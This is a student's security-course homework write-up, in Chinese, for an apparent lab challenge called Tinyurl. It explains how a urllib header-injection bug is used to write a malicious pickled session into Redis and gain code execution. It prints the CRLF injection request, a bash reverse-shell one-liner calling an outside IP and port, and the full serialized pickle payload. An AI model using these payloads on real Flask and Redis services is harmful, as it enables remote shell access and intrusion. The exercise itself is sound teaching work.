Computer Security Homework 0x06

Real name: 涂世昱

Nick name: R07922115

Student ID: R07922115

Tinyurl

Introduction

這題的漏洞是來自於一個叫做Header Injection in urllib的bug, 利用這個bug, 我們可以塞一個reverse shell, 把它經過python serialization的結果之後存到redis server的某個session-id, 然後當我們再更改我的瀏覽器的cookie當中的session-id, 將它設為我剛剛所設的session-id再拜訪tinyurl的網頁, 我們的reverse shell就會被反序列化進而得到redis server的shell。

Walkthrough

Header Injection in urllib

根據提出此bug的人的描述, 我確實可以重現它所說的漏洞, 根據題目所附的source code, `app.py`, redis server的host name = 'redis', port = 6379, 當我拜訪我用docker建的tinyurl網頁時, 將要縮短的url用post傳出去(`url=http://redis:6379/?q=HTTP/1.1%0d%0aSET yy yyyy%0d%0aHeader2:%0d%0a`), 我們會得到縮短過後的網址, 再去拜訪此網址, 會發生Internal Server Error, 此時我們已成功在redis server插入`yy`這個key, 且它的value為`yyyy`。

```
127.0.0.1:6379> keys *
1) "session:77f50b49-023e-4329-8202-1f8b7af5cdb4"
2) "session:4dc7dde9-e8b6-4f60-93e5-475c29e7eb5a"
3) "session:1f8daf7e-fa77-4902-9983-ef11c452723b"
4) "yy"
5) "session:469ce4a7-1c1c-484a-b56e-4f1180c335c3"
127.0.0.1:6379> get yy
"yyyy"
```

Python serialization

根據上述例子也可以觀察到在redis server當中的key為許許多多的sesion id, 我們觀察其value, 可得到

```
127.0.0.1:6379> get session:77f50b49-023e-4329-8202-1f8b7af5cdb4
"\x80\x03}q\x00X\n\x00\x00\x00_permanentq\x01\x88s."
```

將"\x80\x03}q\x00X\n\x00\x00\x00_permanentq\x01\x88s."用pickle.load()將它反序列化會確實得到一個python的object, 然後session id其實就跟瀏覽器當中的cookie相互呼應, 意思就是如果我把我瀏覽器現有的cookie刪掉然後再拜訪tinyurl的網站, 會有新的session id產生在redis當中, 再根據`app.py`當中flask有個Session的函數, 它似乎就會將存在redis的session-id的相對應的value反序列化它, 所以我就可以將某個喚起reverse shell的command, 定義在python的某個object當中然後將它序列化之後, 用上述的urllib的漏洞塞到redis的某個session-id, 再把cookie的session-id改為此id再拜訪tinyurl的網站即可成功執行reverse shell。

我所找到的reverse shell command為`bash -i >& /dev/tcp/<ip>/<port> 0>&1`, 再用python pickle把command用class包起來然後pickle.dump()出來的結果即為序列化過後的reverse shell command, `\x80\x03cposix\nsystem\nq\x00X5\x00\x00\x00bash -c 'bash -i >& /dev/tcp/140.112.90.54/9999 0>&1'q\x01\x85q\x02Rq\x03.`, 然後將它在hackbar的post欄位輸入`url=http://redis:6379/?q=HTTP/1.1%0d%0aSET "session:abcd1234" <serialized reverse shell>`, 就得到一個縮短後的網址, 拜訪這個網址後會出現Internal Server Error, 然後再把cookie session id改為`abcd1234`, 拜訪tinyurl的網站, 就可以在nc的port得到shell了。

```
127.0.0.1:6379> get session:abcd1234
"\x80\x03cposix\nsystem\nq\x00X5\x00\x00\x00bash -c 'bash -i >&
/dev/tcp/140.112.90.54/9999 0>&1'q\x01\x85q\x02Rq\x03."
```